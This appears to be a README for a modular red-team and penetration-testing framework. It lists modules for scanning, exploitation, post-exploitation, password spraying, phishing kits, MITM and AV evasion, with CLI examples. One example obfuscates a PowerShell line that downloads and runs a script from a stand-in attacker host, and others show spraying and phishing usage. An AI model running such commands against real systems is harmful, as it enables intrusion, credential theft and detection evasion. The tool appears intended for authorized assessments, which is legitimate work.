⚡ Red Team Framework

Enterprise-grade, modular penetration testing & red team automation suite

> **LEGAL DISCLAIMER** – This tool is intended solely for **authorized security assessments** on systems you own or have written permission to test. Unauthorized use is illegal. The authors accept no liability for misuse. --- ## Features | Module | Capabilities | |--------|-------------| | 🌐 **Network Scanner** | Nmap profiles (quick / full / vuln / UDP), CVSS v3.1 scoring via NVD API, service enumeration | | 🕵️ **OSINT** | Shodan, theHarvester, Recon-ng, asset aggregation, rich terminal dashboard | | 🌍 **Web App Testing** | Surface scanner, SQL injection, XSS, directory brute-force, auth tester, SSL/TLS analyzer | | 📡 **Wireless** | Monitor mode, WPA handshake capture, de-auth testing, risk rating, Aircrack-ng | | 💥 **Exploitation** | Metasploit msgrpc client, Exploit-DB / searchsploit, msfvenom payload generator | | 🔓 **Post-Exploitation** | Priv esc (Linux/Windows), lateral movement (PsExec/PtH/SSH pivot), persistence, data exfil | | 🔑 **Password Auditing** | Hash cracker (Hashcat + John), password spray (SSH/SMB/HTTP), encrypted credential store | | 🎣 **Social Engineering** | Phishing kit generator (HTML email + credential harvester + Flask capture server) | | 🔀 **Network Analysis** | ARP MITM with Scapy, HTTP/FTP credential sniffing | | 🛡️ **AV Evasion** | VirusTotal detection check, XOR / base64 / hex payload obfuscation | | 🤖 **ML Threat Scoring** | scikit-learn based risk prioritization with weighted CVSS + exposure features | | 📊 **Reporting** | Professional HTML (Jinja2 dark-mode) + JSON, NIST SP 800-115 mapping, evidence chain-of-custody | --- ## Quick Start ```bash # 1. Clone the repository git clone https://github.com/YOUR_USERNAME/red-team-framework.git cd red-team-framework # 2. Install dependencies (Python 3.8+) pip install -r requirements.txt # 3. Run a full mock engagement (no tools required) python main.py full --target 192.168.1.1 --name "Demo Assessment" --mock ``` See [INSTALL.md](INSTALL.md) for detailed setup including optional tool installation. --- ## Usage ```bash python main.py [options] ``` ### Commands | Command | Description | |---------|-------------| | `scan` | Network scanning with Nmap + CVSS scoring | | `osint` | OSINT / threat intelligence gathering | | `webapp` | Web application vulnerability testing | | `wireless` | Wireless network security audit | | `exploit` | Exploitation framework (Metasploit, Exploit-DB, msfvenom) | | `post` | Post-exploitation (priv esc, lateral movement, persistence) | | `password` | Password auditing (cracking + spraying) | | `social` | Social engineering (phishing kits) | | `network` | Network analysis & MITM | | `evasion` | AV evasion & payload obfuscation | | `report` | Generate HTML/JSON pentest reports | | `full` | Run the complete engagement pipeline | ### Examples ```bash # Network Scan python main.py scan --target 10.0.0.1 --profile vuln --mock # OSINT with all sources and dashboard python main.py osint --target example.com --all --dashboard --mock # Full web application test python main.py webapp --target http://10.0.0.1 --all --mock # Exploit search python main.py exploit --action search --query "CVE-2021-44228" # Hash cracking (requires Hashcat or John) python main.py password --action crack --hashes hashes.txt --type ntlm # Password spraying (SSH) python main.py password --action spray --target 10.0.0.1 --service ssh \ --users users.txt --passwords passes.txt --delay 2.0 # Generate phishing kit python main.py social --action phish --domain corp.com \ --target-email user@corp.com --template office365_login # ARP MITM (Linux + root) python main.py network --action mitm --gateway 192.168.1.1 \ --target 192.168.1.50 --interface eth0 --duration 120 --mock # XOR payload obfuscation python main.py evasion --action obfuscate \ --payload 'IEX (New-Object Net.WebClient).DownloadString("http://attacker.com/shell.ps1")' \ --technique xor # Generate HTML report from findings python main.py report --input output/findings.json --format html --name "Corp Pentest" # Full pipeline python main.py full --target 192.168.1.0/24 --profile full --name "Q1 Assessment" ``` --- ## Mock Mode Every module supports `--mock` to run without any external tools: ```bash python main.py scan --target 192.168.1.1 --mock python main.py webapp --target http://example.com --all --mock python main.py full --target 10.0.0.1 --mock ``` Use this to test the framework, generate sample reports, or demonstrate capabilities without a live environment. --- ## Configuration Edit `config/settings.yaml` to configure API keys and default settings: ```yaml general: output_dir: output verbose: false osint: shodan_api_key: "YOUR_SHODAN_API_KEY" evasion: virustotal_api_key: "YOUR_VT_API_KEY" exploitation: msf_host: "127.0.0.1" msf_port: 55553 msf_password: "abc123" ``` --- ## Running Tests ```bash # Run full test suite (uses mock mode – no external tools required) pytest tests/ -v # With coverage report pytest tests/ -v --cov=. --cov-report=html ``` --- ## Project Structure ``` red-team-framework/ ├── main.py # CLI entry point (11 subcommands) ├── requirements.txt ├── config/settings.yaml # Centralized configuration ├── core/ # Logger, Config, BaseModule, Banner ├── utils/helpers.py # Shared utilities ├── modules/ │ ├── scanner/ # Nmap, CVSS, service enumeration │ ├── osint/ # Shodan, theHarvester, Recon-ng, dashboard │ ├── webapp/ # SQLi, XSS, DirBuster, auth, SSL │ ├── wireless/ # Aircrack-ng suite │ ├── exploitation/ # Metasploit, Exploit-DB, msfvenom │ ├── post_exploit/ # PrivEsc, lateral move, persistence, exfil │ ├── password/ # Hashcat, John, spray, vault │ ├── social_eng/ # Phishing kit generator │ ├── network/ # Scapy MITM, sniffing │ ├── evasion/ # VirusTotal, obfuscation │ ├── ml/ # sklearn threat scoring │ └── reporting/ # HTML, JSON, NIST, evidence ├── templates/report.html # Jinja2 dark-mode report template ├── static/css/report.css # Report stylesheet └── tests/test_all_modules.py # pytest suite ``` --- ## Dependencies | Category | Libraries | |----------|-----------| | Core | `pyyaml`, `colorama`, `requests` | | OSINT | `shodan`, `rich` | | Reporting | `jinja2`, `Pillow` | | Networking | `scapy`, `paramiko` | | Security | `cryptography` | | ML | `scikit-learn`, `numpy` | | Optional | `pymetasploit3`, `flask` | External tools (optional, Linux): `nmap`, `aircrack-ng`, `metasploit-framework`, `hashcat`, `john`, `searchsploit`, `impacket` --- ## Ethics & Legal - ✅ All tests should be performed on **authorized systems only** - ✅ Always obtain **written permission** before any engagement - ✅ Destructive operations (deauth, MITM) require an **explicit confirmation prompt** - ✅ Evidence is stored with **SHA-256 chain-of-custody** for legal defensibility - ✅ Reports follow **NIST SP 800-115** methodology --- ## Author **Mansoor Iqbal** Security Researcher | Red Team Engineer --- ## License MIT License – see [LICENSE](LICENSE) for details. ]]>